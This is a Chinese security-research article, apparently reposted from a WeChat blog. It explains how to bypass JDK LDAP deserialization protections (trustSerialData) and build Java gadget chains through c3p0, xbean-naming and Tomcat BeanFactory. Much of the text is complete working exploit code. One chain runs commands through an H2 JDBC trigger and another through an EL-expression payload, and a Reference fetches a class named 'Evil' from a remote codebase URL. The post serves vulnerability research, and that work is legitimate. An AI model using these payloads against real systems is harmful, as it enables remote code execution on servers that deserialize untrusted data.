最近跟jdbc有关的新知识——ldap篇

admin 2025年1月22日19:33:39评论13 views字数 9742阅读32分28秒阅读模式

1, trustSerialData=false

在jdk11中,新增了com.sun.jndi.ldap.object.trustSerialData开关,但一直默认为true,一直到JDK20,才改为默认为false。它影响着rmi和ldap的大多数反序列化入口。

众所周知,ldap一共有三种利用方式。
第一种是JNDI注入,也就是远程加载class,写法如下。

e.addAttribute("javaClassName""foo");e.addAttribute("javaCodeBase", url);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", base);

稍微高一点的版本都用不了,受着如下开关的影响。
com.sun.jndi.ldap.object.trustURLCodebase=false

第二种是反序列化,写法如下。

e.addAttribute("javaClassName", "foo");e.addAttribute("javaSerializedData", javaSerializedData);

第三种是ObjectFactory,写法跟反序列化是兼容的。

而com.sun.jndi.ldap.object.trustSerialData=false就是影响的第二种/第三种写法。
最终会在com.sun.jndi.ldap.Obj#decodeObject()被拦截。

最近跟jdbc有关的新知识——ldap篇

之前的jdk17对java安全的影响一文中提到过,在JDK20,反序列化和ObjectFactory都不能用了。

但在JDK17,服务器如果手动trustSerialData=false的情况下,反序列化不能用,ObjectFactory还可以用,只不过javaSerializedData写法不行了,要换一种。奥妙在这篇文章。
https://xz.aliyun.com/t/14666

代码表现就是

e.addAttribute("objectClass""javaNamingReference");e.addAttribute("javaClassName", javaClassName);e.addAttribute("javaFactory", javaFactory);e.addAttribute("javaReferenceAddress", javaReferenceAddress);

其中最重要的是javaReferenceAddress的写法,客户端解析代码位于Obj.decodeReference(Attributes, String[]) line: 378    

最近跟jdbc有关的新知识——ldap篇

也就是原来的

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));ref.add(new StringRefAddr("url",JDBC_URL));ref.add(new StringRefAddr("username","root"));ref.add(new StringRefAddr("password","password"));ref.add(new StringRefAddr("initialSize","1"));ref.add(new StringRefAddr("init","true"));

变成了一个数组。

String[] javaReferenceAddress = {"/0/driverClassName/org.h2.Driver", "/1/url/JDBC_URL", "/2/username/root", "/3/password/password", "/4/initialSize/1", "/5/init/true"};

换句话说ObjectFactory bypass有两种写法
一种是javaSerializedData,容易受到trustSerialData=false的封堵,另一种是javaReferenceAddress,即使trustSerialData=false也能正常执行。

因此我们只需要写一个将ref转化为数组的方法即可。

    public static String[] getJavaReferenceAddress(Reference ref){        Enumeration<RefAddr> enumeration = ref.getAll();        ArrayList<String> arrayList = new ArrayList<String>();        int num = 0;        String all = null;        String content = null;        while (enumeration.hasMoreElements()) {            RefAddr refAddr = (RefAddr) enumeration.nextElement();            try {                content = (String) refAddr.getContent();            }catch (Exception e) {                content = Base64.encode((byte[])refAddr.getContent());            }            String type = refAddr.getType();            all = "/"+num+"/"+type+"/"+content;            arrayList.add(all);            num += 1;        }        String[] javaReferenceAddress = arrayList.toArray(new String[0]);        return javaReferenceAddress;    }

效果如下图,反序列化被阻止,ObjectFactory成功执行命令。

最近跟jdbc有关的新知识——ldap篇

最近跟jdbc有关的新知识——ldap篇

仔细研究Obj.decodeReference()代码,javaReferenceAddress写法也有着其局限性。
首先它返回的是Reference对象。

最近跟jdbc有关的新知识——ldap篇

而常用的BeanFactory要求必须是个ResourceRef对象。

最近跟jdbc有关的新知识——ldap篇

因此只有javaSerializedData写法调用的deserializeObject才满足BeanFactory条件,因为它返回的是Object泛型。

最近跟jdbc有关的新知识——ldap篇

2, ldap其他反序列化点
接上文,ref其实不止可以add StringRefAddr,还有BinaryRefAddr,或者其他RefAddr。
因此Obj.decodeReference()也写好了其他RefAddr的情况,也用的反序列化方案。

最近跟jdbc有关的新知识——ldap篇

也就是说javaReferenceAddress写法也可以反序列化,并且在jdk11,能绕过trustSerialData=false。
写法也很简单,只需要随便利用一个jdk自带的ObjectFactory比如

com.sun.jndi.ldap.LdapCtxFactory,String[] javaReferenceAddress = {"/0/driverClassName/java.lang.Class", "/1/xxx//base64payload"};

效果如下。

最近跟jdbc有关的新知识——ldap篇

不过遗憾的是在jdk17,这条反序列化入口也被封堵了。

最近跟jdbc有关的新知识——ldap篇

总结一下。
jndi注入
jdk>=8u121,因为默认trustURLCodebase=false而不能使用。
反序列化
jdk11-jdk17,默认trustSerialData=true,因此javaSerializedData可以反序列化。
jdk11-jdk16,手动trustSerialData=false,javaSerializedData没法用了,但可以靠javaReferenceAddress另一处反序列化点绕过。
jdk17,手动trustSerialData=false,javaSerializedData没法用了,javaReferenceAddress也被封堵。
ObjectFactory
jdk11-jdk17,默认trustSerialData=true,因此javaSerializedData可以调ObjectFactory。
jdk11-jdk17,手动trustSerialData=false,javaSerializedData没法用了,可以用javaReferenceAddress写法,但是BeanFactory等少数强制要求ResourceRef类型的Factory不能用。

3, 第三方依赖的ObjectFactory

浅蓝提到过这部分ObjectFactory,以c3p0的com.mchange.v2.naming.JavaBeanObjectFactory为例。

最近跟jdbc有关的新知识——ldap篇

它们的getObjectInstance()可以造成反序列化,当时看起来是鸡肋的,因为ldap本身就能反序列化。在设想了JDK17手动开启trustSerialData=false的情形,现在是否变得不一样了呢?
https://tttang.com/archive/1405/

最近跟jdbc有关的新知识——ldap篇

我们注意到,ref.add的都是BinaryRefAddr,而StringRefAddr以外的RefAddr,必须经由Obj.deserializeObject()取出来。

最近跟jdbc有关的新知识——ldap篇

因此想要反序列化JavaBeanReferenceMaker.REF_PROPS_KEY,就必须先反序列化BinaryRefAddr,同样受到trustSerialData=false影响。
除非一种特定情况,从StringRefAddr中取出base64字符串,再解出来进行反序列化。这种写法的ObjectFactory,可以绕过jdk17手动trustSerialData=false进行反序列化。
但实际找起来,都是用的BinaryRefAddr进行反序列化,没见过用StringRefAddr的。

总结就是第三方依赖的ObjectFactory.getObjectInstance->readObejct都比较鸡肋。

但JavaBeanObjectFactory稍微有点不一样,它除了反序列化之外,还调了setter。

最近跟jdbc有关的新知识——ldap篇

因此JavaBeanObjectFactory还可以像GenericNamingResourcesFactory一样调setter来造成危害。

4,c3p0链

我们都知道,原生c3p0链是用来触发ldap的。由于能触发ObjectFactory.getObjectInstance,有人利用BeanFactory触发ELProcessor.eval(),用EL表达式RCE。

最近跟jdbc有关的新知识——ldap篇

除此之外,上面还有URLClassLoader的触发点,再加上c3p0本身自带JavaBeanObjectFactory可以二次反序列化。
这样看c3p0链本质上就是一个JNDI,随便写个触发H2的。

import com.mchange.v2.c3p0.PoolBackedDataSource;import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;import java.io.ByteArrayOutputStream;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.io.PrintWriter;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.sql.SQLException;import java.sql.SQLFeatureNotSupportedException;import java.util.logging.Logger;import javax.naming.NamingException;import javax.naming.Reference;import javax.naming.Referenceable;import javax.naming.StringRefAddr;import javax.sql.ConnectionPoolDataSource;import javax.sql.PooledConnection;public class C3P0_TomcatDbcp1Factory_H2 {    public static void main(String[] args) throws Exception {        Constructor con = PoolBackedDataSource.class.getDeclaredConstructor(new Class[0]);        con.setAccessible(true);        PoolBackedDataSource obj = (PoolBackedDataSource) con.newInstance(new Object[0]);        Field conData = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");        conData.setAccessible(true);        conData.set(obj, new PoolSource());        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));        oos.writeObject(obj);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));        ois.readObject();    }      private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {              public PoolSource() {            }              public Reference getReference() throws NamingException {                Reference ref = new Reference("javax.sql.DataSource","org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory",null);                String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ONn" +                        "INFORMATION_SCHEMA.TABLES AS $$//javascriptn" +                        "java.lang.Runtime.getRuntime().exec('calc')n" +                        "$$n";                ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));                ref.add(new StringRefAddr("url",JDBC_URL));                ref.add(new StringRefAddr("username","root"));                ref.add(new StringRefAddr("password","password"));                ref.add(new StringRefAddr("initialSize","1"));                ref.add(new StringRefAddr("init","true"));                return ref;            }            @Override            public PrintWriter getLogWriter() throws SQLException {                return null;            }            @Override            public void setLogWriter(PrintWriter out) throws SQLException {            }            @Override            public void setLoginTimeout(int seconds) throws SQLException {            }            @Override            public int getLoginTimeout() throws SQLException {                return 0;            }            @Override            public Logger getParentLogger() throws SQLFeatureNotSupportedException {                return null;            }            @Override            public PooledConnection getPooledConnection() throws SQLException {                return null;            }            @Override            public PooledConnection getPooledConnection(String user, String password) throws SQLException {                return null;            }      }}

5,Xbean链

依赖xbean-naming-4.26.jar。这个链活跃于SnakeYaml和Hessian反序列化中,靠toString()触发。也能用于原生反序列化,网上的poc是这样的。

Reference ref = new Reference("foo", "Evil","http://127.0.0.1:5667/");WritableContext writableContext = Reflections.createWithoutConstructor(WritableContext.class);ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, false, writableContext);binding.toString();

链非常简单。
toString()触发getObject()

最近跟jdbc有关的新知识——ldap篇

getObject()触发resolve()

最近跟jdbc有关的新知识——ldap篇

resolve()触发NamingManager.getObjectInstance()

最近跟jdbc有关的新知识——ldap篇

然后在取factory的时候可以远程URLClassLoader

最近跟jdbc有关的新知识——ldap篇

最近跟jdbc有关的新知识——ldap篇

堆栈如下

VersionHelper12.loadClass(String, String) line: 83    NamingManager.getObjectFactoryFromReference(Reference, String) line: 158    NamingManager.getObjectInstance(Object, Name, Context, Hashtable<?,?>) line: 319    ContextUtil.resolve(Object, String, Name, Context) line: 73    ContextUtil$ReadOnlyBinding.getObject() line: 204    ContextUtil$ReadOnlyBinding(Binding).toString() line: 192    

值得注意的是,一般来说getObjectInstance()所需要的Context参数都可以为null,但ReadOnlyBinding却因为需要调用getEnvironment()不能为null。

最近跟jdbc有关的新知识——ldap篇

如果将Context设置一个jdk自带的类,比如常用的InitialContext,则会无法序列化。

最近跟jdbc有关的新知识——ldap篇

因此需要一个即实现了javax.naming.Context又实现了java.io.Serializable的类,这种类在jdk内部是没有的。但是刚好xbean-naming有,也就是现在用的WritableContext。
除此之外,还有两个类ImmutableContext/ImmutableFederatedContext也是可以的。这三个类在用的时候将不能序列化的属性置空就行。

Xbean链和c3p0链一样,除了URLClassLoader之外,也可以调用ObjectFactory.getObjectInstance,只要设置合适的ResourceRef即可。Payload如下。

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);        ref.add(new StringRefAddr("forceString", "x=eval"));        String elString = "''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(""                + "new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd.exe','/c','calc']).start()"                + "")";        ref.add(new StringRefAddr("x", elString));        WritableContext writableContext = Reflections.createWithoutConstructor(WritableContext.class);        ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, false, writableContext);        //binding.toString();        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        Reflections.setFieldValue(bd,"val",binding);        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));        objectOutputStream.writeObject(bd);        objectOutputStream.close();        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));        objectInputStream.readObject();

堆栈如下。

BeanFactory.getObjectInstance(Object, Name, Context, Hashtable<?,?>) line: 210    NamingManager.getObjectInstance(Object, Name, Context, Hashtable<?,?>) line: 321    ContextUtil.resolve(Object, String, Name, Context) line: 73    ContextUtil$ReadOnlyBinding.getObject() line: 204    ContextUtil$ReadOnlyBinding(Binding).toString() line: 192 [local variables unavailable]    BadAttributeValueExpException.readObject(ObjectInputStream) line: 86    

xbean-naming还设计了一个CachingReference,可以在Reference上封装一层,不过对反序列化来说没有什么用。

原文始发于微信公众号(珂技知识分享):最近跟jdbc有关的新知识——ldap篇

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日19:33:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   最近跟jdbc有关的新知识——ldap篇https://cn-sec.com/archives/3661856.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息